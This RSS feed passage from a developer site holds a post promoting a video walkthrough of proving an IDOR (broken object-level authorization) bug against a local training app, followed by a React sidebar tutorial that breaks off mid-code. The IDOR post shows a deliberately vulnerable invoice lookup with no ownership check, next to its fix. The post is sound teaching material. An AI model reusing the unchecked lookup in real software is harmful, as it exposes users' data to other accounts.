Windows Store &lt;a rel=&quot;nofollow&quot; href=&quot;https://apps.microsoft.com/detail/9pj0j7bk1m27?hl=en-US&quot;&gt;https://apps.microsoft.com/detail/9pj0j7bk1m27?hl=en-US&lt;/a&gt;&lt;br&gt;
Web Site &lt;a rel=&quot;nofollow&quot; href=&quot;https://Sendwavehub.tech/en/apps/ai-security-studio-4&quot;&gt;https://Sendwavehub.tech/en/apps/ai-security-studio-4&lt;/a&gt;&lt;/p&gt;
</description>
<category>Videos</category>
<guid isPermaLink="true">https://coderlegion.com/25416/manually-breaking-authentication-a-full-walkthrough-cwe-307-cwe-330-cwe-640</guid>
<pubDate>Wed, 26 Aug 2026 06:18:14 +0000</pubDate>
</item>
<item>
<title>Manually Proving and Documenting an IDOR (CWE-639) — A Full Walkthrough</title>
<link>https://coderlegion.com/25293/manually-proving-and-documenting-an-idor-cwe-639-a-full-walkthrough</link>
<description>&lt;p&gt;Most IDOR write-ups stop at &quot;change the ID in the URL and you get someone else's data.&quot;&lt;br&gt;
That's the easy part. The part that actually matters — proving it rigorously, ruling out&lt;br&gt;
the boring explanation, and turning it into a report someone can act on — usually gets&lt;br&gt;
skipped.&lt;/p&gt;
&lt;p&gt;I recorded a full walkthrough doing exactly that, end to end, against a deliberately&lt;br&gt;
vulnerable local training target.&lt;/p&gt;
&lt;p&gt;{% youtube 8RlBRBQBUAw %}&lt;/p&gt;
&lt;h3 id=&quot;the-bug&quot;&gt;The bug&lt;/h3&gt;
&lt;p&gt;A simple invoice endpoint, &lt;code&gt;GET /invoices/:id&lt;/code&gt;. It checks that &lt;em&gt;someone&lt;/em&gt; is logged in&lt;br&gt;
(401 if not), but never checks that the logged-in identity actually &lt;em&gt;owns&lt;/em&gt; the invoice&lt;br&gt;
it's returning:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;invoices.find(inv =&amp;gt; inv.id === Number(req.params.id))
// no invoice.owner === session.user check
Log in as any user, change the number in the URL, read anyone's invoice. Classic
CWE-639 — Authorization Bypass Through User-Controlled Key, and it maps directly to:

OWASP A01:2021 — Broken Access Control
API1:2023 — Broken Object Level Authorization (BOLA)
What the walkthrough actually covers
The video isn't just &quot;look, it's broken&quot; — it's the full evidence chain a real assessment
needs:

TimestampPhase
0:00Capture two separate identities (alice, bob)
1:26:19Prove cross-owner access live, in-browser
2:06:26Pull raw request/response evidence from the network tab
2:52:04Run a negative control — unauthenticated request, confirm 401
4:08:06Confirm independently with an automated IDOR probe
6:12:03Create a structured finding (CWE/OWASP/API mapping + evidence)
8:12:07Structure the evidence for review
10:29:00Export a report
The negative control is the step people skip most often, and it's the one that separates
&quot;broken access control&quot; from &quot;there's just no auth at all&quot; — an important distinction if
you're writing this up for a real triager.

Why the control matters
Without it, you've only shown that an authenticated user can read someone else's data —
you haven't ruled out the (much less interesting) possibility that the endpoint has no
auth check whatsoever. Hitting the same endpoint with zero session and getting a clean
401 proves the app does enforce authentication — it just never enforces ownership.
That's the difference between a one-line &quot;missing auth&quot; bug and a systemic
authorization-model gap.

Fix
Load the object, then check ownership before returning it:


const invoice = invoices.find(inv =&amp;gt; inv.id === Number(req.params.id));
if (!invoice || invoice.owner !== session.user) {
  return res.status(404).end(); // or 403 — avoid leaking existence via 401 vs 403
}
Every object access needs to be authorized, not just authenticated — that's the whole bug
in one sentence.

All testing shown is against a local, self-hosted, intentionally vulnerable training app —
offline, no unauthorized access. If you're learning web app security, bug bounty hunting,
or just want to see what &quot;proving&quot; a vuln looks like beyond a screenshot, the full video
is above.

Try it yourself → [https://github.com/sendwavehub/scan-target-demo-apps][1]
Windows Store [https://apps.microsoft.com/detail/9pj0j7bk1m27?hl=en-US][2]
Web Site [https://Sendwavehub.tech/en/apps/ai-security-studio-4][3]


  [1]: https://github.com/sendwavehub/scan-target-demo-apps
  [2]: https://apps.microsoft.com/detail/9pj0j7bk1m27?hl=en-US
  [3]: https://Sendwavehub.tech/en/apps/ai-security-studio-4
&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Videos</category>
<guid isPermaLink="true">https://coderlegion.com/25293/manually-proving-and-documenting-an-idor-cwe-639-a-full-walkthrough</guid>
<pubDate>Mon, 24 Aug 2026 13:07:58 +0000</pubDate>
</item>
<item>
<title>Build A Responsive Sidebar with React and Styled Components</title>
<link>https://coderlegion.com/25230/build-a-responsive-sidebar-with-react-and-styled-components</link>
<description>&lt;h3 id=&quot;why-does-sidebar-navbar-exist-&quot;&gt;Why does Sidebar / Navbar exist?&lt;/h3&gt;
&lt;p&gt;Navigation is the most easiest way to go through the website. The navigation links can be displayed either in Sidebar or Navbar. Both services are widely used by most of the websites. &lt;/p&gt;
&lt;h3 id=&quot;what-will-we-be-building-&quot;&gt;What will we be building?&lt;/h3&gt;
&lt;p&gt;In this article, we will be building a simple yet &lt;em&gt;responsive sidebar&lt;/em&gt;, step-by-step using &lt;a rel=&quot;nofollow&quot; href=&quot;https://reactjs.org&quot;&gt;ReactJS&lt;/a&gt;, &lt;a rel=&quot;nofollow&quot; href=&quot;https://styled-components.com&quot;&gt;styled-components&lt;/a&gt;, and &lt;a rel=&quot;nofollow&quot; href=&quot;https://reactrouter.com&quot;&gt;React Router DOM&lt;/a&gt; as our major dependencies. This sidebar will be fully responsive on all devices, a demo of which is &lt;a rel=&quot;nofollow&quot; href=&quot;https://jealousgx-sidebar.vercel.app&quot;&gt;present here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Pro: We will also be learning one of the folder structures in this react app.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;prerequisites-2&quot;&gt;Prerequisites&lt;/h3&gt;
&lt;p&gt;Before diving into coding this component, you need to make sure you have good knowledge of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTML, CSS, JavaScript&lt;/li&gt;
&lt;li&gt;ReactJS&lt;/li&gt;
&lt;li&gt;Styled-components&lt;/li&gt;
&lt;li&gt;React Router DOM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Moreover, you also need have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NodeJS (Stable version) &lt;/li&gt;
&lt;li&gt;NPM and /  or Yarn&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;building-the-component&quot;&gt;Building the component&lt;/h3&gt;
&lt;p&gt;In &lt;em&gt;Command Prompt&lt;/em&gt;, navigate to the directory where you would like to create the project and type:&lt;/p&gt;
&lt;h4 id=&quot;1-install-the-react-app&quot;&gt;1. Install the React App&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# With npm
npx create-react-app react-sidebar

# With yarn
yarn create react-app react-sidebar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; where &lt;strong&gt;&lt;em&gt;react-sidebar&lt;/em&gt;&lt;/strong&gt; is the project directory name. Now open this project directory in your favorite code editor. I will be using &lt;a rel=&quot;nofollow&quot; href=&quot;https://code.visualstudio.com&quot;&gt;Visual Studio Code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now, keep &lt;code&gt;index.js&lt;/code&gt;, &lt;code&gt;App.js&lt;/code&gt; and &lt;code&gt;App.css&lt;/code&gt; and delete the other files / folders inside &lt;code&gt;src&lt;/code&gt; folder. This will clean up most of the react app.&lt;/p&gt;
&lt;p&gt;Inside &lt;code&gt;public&lt;/code&gt; folder, keep &lt;code&gt;index.html&lt;/code&gt; file and delete all other files / folders.&lt;/p&gt;
&lt;h4 id=&quot;2-add-the-packages-to-the-react-app&quot;&gt;2. Add the packages to the react app&lt;/h4&gt;
&lt;p&gt;Install Material UI Icons, React Router DOM, styled-components. Run the following command to get them installed on our react app:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# With npm
npm install @mui/icons-material @mui/material @emotion/styled @emotion/react react-router-dom styled-components

# With yarn
yarn add @mui/material @emotion/react @emotion/styled react-router-dom styled-components
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's connect the whole app with &lt;code&gt;react-router-dom&lt;/code&gt; so that its functions / components can be used everywhere. Replace the code in &lt;code&gt;src/index.js&lt;/code&gt; with the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/index.js
import React from &quot;react&quot;;
import { BrowserRouter } from &quot;react-router-dom&quot;;
import ReactDOM from &quot;react-dom/client&quot;;
import App from &quot;./App&quot;;

const root = ReactDOM.createRoot(document.getElementById(&quot;root&quot;));
root.render(
  &amp;lt;React.StrictMode&amp;gt;
    &amp;lt;BrowserRouter&amp;gt;
      &amp;lt;App /&amp;gt;
    &amp;lt;/BrowserRouter&amp;gt;
  &amp;lt;/React.StrictMode&amp;gt;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First and foremost, we need to use &lt;code&gt;react-router-dom&lt;/code&gt; to create links to different pages within our app. So, we need to connect the whole app with its parent component which is &lt;code&gt;BrowserRouter&lt;/code&gt;. This will give us access to use almost all of the components, the said package has to offer.&lt;/p&gt;
&lt;p&gt;To do so, at first, we import the parent component and wrap the &lt;code&gt;App&lt;/code&gt; component inside the parent component. This &lt;code&gt;App&lt;/code&gt; component covers our whole app and we can use React Router anywhere within our app.&lt;/p&gt;
&lt;p&gt;Run the app in your browser using &lt;code&gt;npm start&lt;/code&gt; or &lt;code&gt;yarn start&lt;/code&gt; and head to &lt;strong&gt;localhost:3000&lt;/strong&gt; to view the changes.&lt;/p&gt;
&lt;p&gt;Now, let's create the routes / pages using &lt;code&gt;react-router-dom&lt;/code&gt;. Replace the code in &lt;code&gt;src/App.js&lt;/code&gt; with the following code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/App.js
import { Routes, Route } from &quot;react-router-dom&quot;;
import { DynamicItem, Sidebar, dummyData } from &quot;./components&quot;;
import &quot;./App.css&quot;;

function App() {
  return (
    &amp;lt;div id=&quot;main&quot;&amp;gt;
      &amp;lt;Sidebar&amp;gt;
        &amp;lt;Routes&amp;gt;
          &amp;lt;Route path=&quot;/&quot; element={&amp;lt;DynamicItem page=&quot;homepage&quot; /&amp;gt;} /&amp;gt;
          {dummyData &amp;amp;&amp;amp;
            dummyData.map((item, index) =&amp;gt; (
              &amp;lt;Route
                key={index}
                path={item.path}
                element={&amp;lt;DynamicItem page={item.name} /&amp;gt;}
              /&amp;gt;
            ))}
        &amp;lt;/Routes&amp;gt;
      &amp;lt;/Sidebar&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}

export default App;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, we are importing &lt;code&gt;Routes, Route&lt;/code&gt; from &lt;code&gt;react-router-dom&lt;/code&gt; which will help us create pages within our app. We are also importing the &lt;code&gt;Sidebar&lt;/code&gt; component, which we will be creating after sometime, &lt;code&gt;dummyData&lt;/code&gt;, some random data which includes path to our pages, &lt;code&gt;DynamicItem&lt;/code&gt;, a dummy page which displays the page name as we navigate to it.&lt;/p&gt;
&lt;p&gt;Next thing, we need to do is use the &lt;code&gt;Sidebar&lt;/code&gt; component. This component will be such that it will accept children as props so that it is visible everywhere as we navigate between the pages. Right after that, we need to add &lt;code&gt;Routes&lt;/code&gt; component, a container which covers our pages / routes as we create them so that the app knows this is a routes container and it contains pages.&lt;/p&gt;
&lt;p&gt;Now, the only thing we need to do is add the routes we want. We know that &lt;code&gt;dummyData&lt;/code&gt; contains the paths to the pages, we can map through the data to get them, and use &lt;code&gt;Route&lt;/code&gt; component for each of the path. The &lt;code&gt;Route&lt;/code&gt; component accepts two properties, &lt;code&gt;path&lt;/code&gt;, where the route will be navigating to, and &lt;code&gt;element&lt;/code&gt;, which is a component that will be rendered in that page / route. &lt;/p&gt;
&lt;p&gt;Now, we need to add the basic styling to our app. These styles only define the layout of our app. Replace the code in &lt;code&gt;src/App.css&lt;/code&gt; with the following code:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: We can also create some of the styling using styled-components. You can do the styling however you like, but here, I have used css for basic styling.&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* src/App.css */
* {
  margin: 0;
  padding: 0;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  outline: none;
  border: none;
  text-decoration: none;

  font-family: &quot;IBM Plex Sans&quot;, -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;,
    &quot;Oxygen&quot;, &quot;Ubuntu&quot;, &quot;Cantarell&quot;, &quot;Fira Sans&quot;, &quot;Droid Sans&quot;, &quot;Helvetica Neue&quot;,
    sans-serif;
}

#main {
  width: 100%;
  height: 100%;
  display: flex;
  flex-direction: row;
}

.btn {
  margin: 1rem 1rem 0 0;
  padding: 0.25rem 0.5rem;
  display: flex;
  gap: 0.25rem;
  align-items: center;
  justify-content: center;
  background: transparent;
  outline: none;
  border: 1px solid #808080;
  border-radius: 3px;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  -ms-border-radius: 3px;
  -o-border-radius: 3px;
  cursor: pointer;
  transition: all 0.2s ease-in-out;
  -webkit-transition: all 0.2s ease-in-out;
  -moz-transition: all 0.2s ease-in-out;
  -ms-transition: all 0.2s ease-in-out;
  -o-transition: all 0.2s ease-in-out;
}

.btn:hover {
  background-color: #e4e3e34d;
}

#page {
  display: flex;
  align-items: center;
  justify-content: center;
  text-align: center;
  text-transform: capitalize;
  font-size: 1rem;
  overflow: hidden;
}

@media screen and (min-width: 468px) {
  #page {
    font-size: 3rem;
  }

  .btn {
    padding: 0.5rem 0.75rem;
    gap: 0.5rem;
  }
}

.app__brand__text {
  font-size: 2rem;
  font-weight: 700;
  color: #5a8dee;
  margin-left: 0.5rem;
}

/* Sidebar toggle button starts */
.outer__circle {
  position: relative;
  width: 1.5rem;
  height: 1.5rem;
  border-radius: 50%;
  background-color: #5f97ef;
  display: flex;
  align-items: center;
  justify-content: center;
}

.outer__circle::after {
  position: absolute;
  top: 0.225rem;
  left: 0.215rem;
  content: &quot;&quot;;
  width: 1.1rem;
  height: 1.1rem;
  border-radius: 50%;
  background-color: #fff;
}

.inner__circle {
  position: relative;
  width: 0.75rem;
  height: 0.75rem;
  border-radius: 50%;
  background-color: #5f97ef;
  z-index: 100;
}

.inner__circle::after {
  position: absolute;
  top: 0.125rem;
  left: 0.15rem;
  content: &quot;&quot;;
  width: 0.5rem;
  height: 0.5rem;
  border-radius: 50%;
  background-color: #fff;
}
/* Sidebar toggle button ends */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, we are resetting every style in the react app using &lt;code&gt;*&lt;/code&gt; pseudo selector to configure the whole app the way we want it. Moreover, we are also defining the styles for parent &lt;code&gt;div&lt;/code&gt; container of app with the class name &lt;code&gt;main&lt;/code&gt;. We are also defining the styles for a button which will be used later in &lt;code&gt;DynamicItem&lt;/code&gt; component. &lt;/p&gt;
&lt;p&gt;In this global styles file, we are manually making &lt;strong&gt;two circles&lt;/strong&gt; button instead of using some library. This button toggles whether or not to display the sidebar as a whole. This could done in many ways, this is just one of them.&lt;/p&gt;
&lt;p&gt;Let's create a file which will store the icons which will be used in our react app. &lt;/p&gt;
&lt;p&gt;Head to &lt;code&gt;src&lt;/code&gt; folder and create a new folder inside it under &lt;code&gt;components&lt;/code&gt; name. Inside &lt;code&gt;components&lt;/code&gt; folder, create a new file with &lt;code&gt;Icons.js&lt;/code&gt; name and add the following code to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/components/Icons.js
import HomeOutlinedIcon from &quot;@mui/icons-material/HomeOutlined&quot;;
import WebOutlinedIcon from &quot;@mui/icons-material/WebOutlined&quot;;
import CalendarTodayOutlinedIcon from &quot;@mui/icons-material/CalendarTodayOutlined&quot;;
import CalendarMonthOutlinedIcon from &quot;@mui/icons-material/CalendarMonthOutlined&quot;;
import PersonOutlineOutlinedIcon from &quot;@mui/icons-material/PersonOutlineOutlined&quot;;
import SubjectOutlinedIcon from &quot;@mui/icons-material/SubjectOutlined&quot;;
import GppGoodOutlinedIcon from &quot;@mui/icons-material/GppGoodOutlined&quot;;
import AdminPanelSettingsOutlinedIcon from &quot;@mui/icons-material/AdminPanelSettingsOutlined&quot;;
import ListAltOutlinedIcon from &quot;@mui/icons-material/ListAltOutlined&quot;;
import InputOutlinedIcon from &quot;@mui/icons-material/InputOutlined&quot;;

import ArrowRightOutlinedIcon from &quot;@mui/icons-material/ArrowRightOutlined&quot;;
import ArrowBackIcon from &quot;@mui/icons-material/ArrowBack&quot;;

export {
  HomeOutlinedIcon as HomeIcon,
  WebOutlinedIcon as LayoutIcon,
  CalendarMonthOutlinedIcon as CalendarIcon,
  PersonOutlineOutlinedIcon as UserIcon,
  SubjectOutlinedIcon as InvoiceIcon,
  GppGoodOutlinedIcon as RolesIcon,
  CalendarTodayOutlinedIcon as PagesIcon,
  AdminPanelSettingsOutlinedIcon as AuthIcon,
  ListAltOutlinedIcon as WizardIcon,
  InputOutlinedIcon as ModalIcon,
  ArrowBackIcon,
  ArrowRightOutlinedIcon as ArrowIcon,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this file, we are importing every icon, that we will be using inside our app, and exporting it from a single file. This will help us to import our icons from a single file instead of using multiple lines to import our icons.&lt;/p&gt;
&lt;p&gt;Similarly, we will be creating a new file inside &lt;code&gt;src/components&lt;/code&gt; folder under the name &lt;code&gt;Data.js&lt;/code&gt;. This file will contain our dummy data that we will be using in our app. Open &lt;code&gt;Data.js&lt;/code&gt; file and add the following code to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/components/Data.js
import {
  HomeIcon,
  LayoutIcon,
  CalendarIcon,
  InvoiceIcon,
  UserIcon,
  RolesIcon,
  PagesIcon,
  AuthIcon,
  WizardIcon,
  ModalIcon,
} from &quot;./Icons&quot;;

export const SIDEBAR_DATA = [
  {
    id: 1,
    name: &quot;dashboards&quot;,
    path: &quot;dashboards&quot;,
    icon: &amp;lt;HomeIcon /&amp;gt;,
  },
  {
    id: 2,
    name: &quot;layouts&quot;,
    path: &quot;layouts&quot;,
    icon: &amp;lt;LayoutIcon /&amp;gt;,
  },
  {
    id: 3,
    name: &quot;calendar&quot;,
    path: &quot;calendar&quot;,
    icon: &amp;lt;CalendarIcon /&amp;gt;,
  },
  {
    id: 4,
    name: &quot;invoice&quot;,
    path: &quot;invoice&quot;,
    icon: &amp;lt;InvoiceIcon /&amp;gt;,
  },
  {
    id: 5,
    name: &quot;users&quot;,
    path: &quot;users&quot;,
    icon: &amp;lt;UserIcon /&amp;gt;,
  },
  {
    id: 6,
    name: &quot;roles &amp;amp; permissions&quot;,
    path: &quot;roles&quot;,
    icon: &amp;lt;RolesIcon /&amp;gt;,
  },
  {
    id: 7,
    name: &quot;pages&quot;,
    path: &quot;pages&quot;,
    icon: &amp;lt;PagesIcon /&amp;gt;,
  },
  {
    id: 8,
    name: &quot;authentication&quot;,
    path: &quot;authentication&quot;,
    icon: &amp;lt;AuthIcon /&amp;gt;,
  },
  {
    id: 9,
    name: &quot;wizard examples&quot;,
    path: &quot;wizard&quot;,
    icon: &amp;lt;WizardIcon /&amp;gt;,
  },
  {
    id: 10,
    name: &quot;modal examples&quot;,
    path: &quot;modal&quot;,
    icon: &amp;lt;ModalIcon /&amp;gt;,
  },
];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that we are importing the icons from a single file instead of using multiple lines to import. This way, we can also avoid redundancy. &lt;/p&gt;
&lt;p&gt;In this file, we are defining an array of objects each of which contains data for our pages, i.e. an id, name, path, icon. This is the whole data that will be used throughout our app. &lt;em&gt;Feel free to extend it as much as you want.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Another thing we need to do is create a centralized file which will export all our files, just like &lt;code&gt;Icons.js&lt;/code&gt; file. Create &lt;code&gt;index.js&lt;/code&gt; file inside &lt;code&gt;src/components&lt;/code&gt; folder and add the following code to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/components/index.js
export { default as Sidebar } from &quot;./Sidebar&quot;;
export { default as SidebarItems } from &quot;./Sidebar/SidebarItems&quot;;
export { default as DynamicItem } from &quot;./Routes/[item]&quot;;

export { SIDEBAR_DATA as dummyData } from &quot;./Data&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this file, we are following the similar procedure as that of &lt;code&gt;Icons.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note that the files exported as default need to be imported as &lt;code&gt;default&lt;/code&gt; as well but the ones without &lt;code&gt;default&lt;/code&gt; need to be imported without it.&lt;/p&gt;
&lt;p&gt;Now let's create a file that will render the items of a page. You guessed it right! We will be creating &lt;code&gt;DynamicItem&lt;/code&gt; component. Create a folder inside &lt;code&gt;src&lt;/code&gt; under the name &lt;code&gt;Routes&lt;/code&gt; and inside that folder, create a file with &lt;code&gt;[item].jsx&lt;/code&gt; and add the following code to it:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you have worked with NextJS, you know why we are using square brackets. For those who do not know, you can name it anything you want, even without the square brackets.&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/components/Routes/[item].jsx
import { Link } from &quot;react-router-dom&quot;;
import { ArrowBackIcon } from &quot;../Icons&quot;;

const Item = (props) =&amp;gt; {
  const { page } = props;
  if (page === &quot;homepage&quot;) {
    return &amp;lt;div id=&quot;page&quot;&amp;gt;{page}&amp;lt;/div&amp;gt;;
  } else {
    return (
      &amp;lt;div id=&quot;page&quot;&amp;gt;
        &amp;lt;Link to=&quot;/&quot;&amp;gt;
          &amp;lt;button className=&quot;btn&quot;&amp;gt;
            &amp;lt;ArrowBackIcon /&amp;gt; Back to Home
          &amp;lt;/button&amp;gt;
        &amp;lt;/Link&amp;gt;
        {page}
      &amp;lt;/div&amp;gt;
    );
  }
};

export default Item;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We know we have created the routes for the pages that we want. Now we need to make pages that will be rendered. &lt;/p&gt;
&lt;p&gt;Here we are importing &lt;code&gt;Link&lt;/code&gt; component from &lt;code&gt;react-router-dom&lt;/code&gt;, a back icon from &lt;code&gt;Icons.js&lt;/code&gt; file. We know there is no other page / route behind it but the homepage contains other pages / routes. So, if the route is &lt;code&gt;/&lt;/code&gt;, we just need to render the component, else, we also need to render a back button that will take us back to homepage. &lt;/p&gt;
&lt;p&gt;We are using &lt;code&gt;Link&lt;/code&gt; component to navigate back to &lt;code&gt;homepage&lt;/code&gt; as the page already exists. &lt;em&gt;Recall that we created routes inside &lt;code&gt;src/App.js&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Now comes the main item, the sidebar component. Head to &lt;code&gt;src&lt;/code&gt; folder and create a new folder inside it under the name &lt;code&gt;Sidebar&lt;/code&gt; and create a new file inside it with &lt;code&gt;index.jsx&lt;/code&gt; name. This will be the main file that will consume almost all the files. Add the following code to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/components/Sidebar/index.jsx
import React, { useState } from &quot;react&quot;;

import {
  Children,
  SidebarContainer,
  SidebarWrapper,
  SidebarLogoWrapper,
  SidebarLogo,
  SidebarBrand,
  SidebarToggler,
} from &quot;./SidebarStyles&quot;;
import BrandLogo from &quot;./BrandLogo.svg&quot;;

import { SidebarItems } from &quot;..&quot;;

const MOBILE_VIEW = window.innerWidth &amp;lt; 468;

export default function Sidebar({ children }) {
  const [displaySidebar, setDisplaySidebar] = useState(!MOBILE_VIEW);

  const handleSidebarDisplay = (e) =&amp;gt; {
    e.preventDefault();
    if (window.innerWidth &amp;gt; 468) {
      setDisplaySidebar(!displaySidebar);
    } else {
      setDisplaySidebar(false);
    }
  };

  return (
    &amp;lt;React.Fragment&amp;gt;
      &amp;lt;SidebarContainer displaySidebar={displaySidebar}&amp;gt;
        &amp;lt;SidebarWrapper&amp;gt;
          &amp;lt;SidebarLogoWrapper displaySidebar={displaySidebar}&amp;gt;
            {/* Logo wrapper starts */}
            &amp;lt;SidebarLogo href=&quot;#&quot;&amp;gt;
              &amp;lt;span className=&quot;app-brand-logo demo&quot;&amp;gt;
                &amp;lt;img src={BrandLogo} alt=&quot;Brand logo&quot; /&amp;gt;
              &amp;lt;/span&amp;gt;
              &amp;lt;SidebarBrand
                displaySidebar={displaySidebar}
                className=&quot;app__brand__text&quot;
              &amp;gt;
                Frest
              &amp;lt;/SidebarBrand&amp;gt;
            &amp;lt;/SidebarLogo&amp;gt;
            {/* Logo wrapper ends */}
            {/* Toggle button */}
            &amp;lt;SidebarToggler
              displaySidebar={displaySidebar}
              onClick={handleSidebarDisplay}
            &amp;gt;
              &amp;lt;div className=&quot;outer__circle&quot;&amp;gt;
                &amp;lt;div className=&quot;inner__circle&quot; /&amp;gt;
              &amp;lt;/div&amp;gt;
            &amp;lt;/SidebarToggler&amp;gt;
          &amp;lt;/SidebarLogoWrapper&amp;gt;
            {/* Render the SidebarItems component */}
          &amp;lt;SidebarItems displaySidebar={displaySidebar} /&amp;gt;
        &amp;lt;/SidebarWrapper&amp;gt;
      &amp;lt;/SidebarContainer&amp;gt;
            {/* Render the children */}
      &amp;lt;Children displaySidebar={displaySidebar}&amp;gt;{children}&amp;lt;/Children&amp;gt;
    &amp;lt;/React.Fragment&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the file where we will be building &lt;code&gt;Sidebar&lt;/code&gt;. We are importing state manager &lt;code&gt;useState&lt;/code&gt; from React to control the view of the sidebar, styles from another file, it will be created within the same directory, a &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/JealousGx/snippets/blob/sidebar/src/components/Sidebar/BrandLogo.svg&quot;&gt;Brand Logo&lt;/a&gt; &lt;em&gt;Feel free to use whatever logo you want&lt;/em&gt;, &lt;code&gt;SidebarItems&lt;/code&gt; file that will render our items from the data.&lt;/p&gt;
&lt;p&gt;Another thing we are doing here is creating a &lt;em&gt;global&lt;/em&gt; variable that will store whether the viewpoint is mobile or not. If the viewpoint is mobile, display a portion of the sidebar otherwise, make the sidebar togglable, using &lt;code&gt;useState&lt;/code&gt;. Then we are creating an arrow function that will handle whether or not to display the full sidebar.&lt;/p&gt;
&lt;p&gt;In the end, we are returning a &lt;a rel=&quot;nofollow&quot; href=&quot;https://reactjs.org/docs/fragments.html&quot;&gt;React Fragment&lt;/a&gt; and displaying the brand logo, toggle button, the sidebar items, and the children.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note that we are creating the styles using &lt;code&gt;styled-components&lt;/code&gt; that can accept parameters and will help us in displaying the sidebar.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Now let's create a file that will apply all the necessary styling to the sidebar. Head to &lt;code&gt;src/components/Sidebar&lt;/code&gt; and create a new file under the name &lt;code&gt;SidebarStyles.js&lt;/code&gt; and add the following code to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/components/Sidebar/SidebarStyles.js
import styled from &quot;styled-components&quot;;

// Children Component
export const Children = styled.div`
  width: 100%;
  height: 100%;
  margin-left: ${({ displaySidebar }) =&amp;gt; (displaySidebar ? &quot;15rem&quot; : &quot;5rem&quot;)};
  @media (max-width: 468px) {
    margin-left: 5rem;
  }
`;

export const SidebarWrapper = styled.div`
  width: 100%;
  height: 100%;
  display: flex;
  flex-direction: column;
  font-size: 0.9rem;
`;

export const SidebarLogoWrapper = styled.div`
  padding: 0.5rem 1rem;
  margin-bottom: 1rem;
  display: flex;
  justify-content: ${({ displaySidebar }) =&amp;gt;
    displaySidebar ? &quot;space-between&quot; : &quot;center&quot;};
  align-items: center;
  @media (max-width: 468px) {
    justify-content: center;
  }
`;

export const SidebarLogo = styled.a`
  display: flex;
  align-items: center;
  justify-content: center;
  @media (max-width: 468px) {
    display: none;
  }
`;

export const SidebarBrand = styled.span`
  display: ${({ displaySidebar }) =&amp;gt; (displaySidebar ? &quot;block&quot; : &quot;none&quot;)};
`;

export const SidebarToggler = styled.button`
  cursor: pointer;
  display: ${({ displaySidebar }) =&amp;gt; (displaySidebar ? &quot;block&quot; : &quot;none&quot;)};
  @media (max-width: 468px) {
    display: block;
  }
`;

// SidebarItem styles
export const ItemsList = styled.ul`
  list-style: none;
`;

export const ItemContainer = styled.li`
  margin-top: 0.5rem;
  width: 100%;
  padding: 0.5rem 0.25rem;
  border-radius: 0.2rem;
  cursor: pointer;
  &amp;amp;:hover {
    background: #eaeced;
  }
  &amp;amp;.active {
    background-color: #dbe4f3;
  }
`;

export const ItemWrapper = styled.div`
  display: flex;
  align-items: center;
  color: #7c7788;
`;

export const ItemName = styled.span`
  margin-left: ${({ displaySidebar }) =&amp;gt; (displaySidebar ? &quot;0.5rem&quot; : &quot;0&quot;)};
  display: ${({ displaySidebar }) =&amp;gt; (displaySidebar ? &quot;block&quot; : &quot;none&quot;)};
  text-transform: capitalize;
`;

// Sidebar Container
export const SidebarContainer = styled.div`
  position: absolute;
  left: 0;
  width: ${({ displaySidebar }) =&amp;gt; (displaySidebar ? &quot;15rem&quot; : &quot;5rem&quot;)};
  height: 100vh;
  padding: 0.75rem;
  background: #f3f4f4;
  transition: width 350ms ease;
  border-right: 1px solid #d4d8dd;
  overflow-x: hidden;
  ${({ displaySidebar }) =&amp;gt;
    displaySidebar &amp;amp;&amp;amp; &quot;box-shadow: 8px 0px 12px 0px rgba(0,0,0,0.1)&quot;};
  ${ItemWrapper} {
    justify-content: ${({ displaySidebar }) =&amp;gt; !displaySidebar &amp;amp;&amp;amp; &quot;center&quot;};
  }
  &amp;amp;:hover {
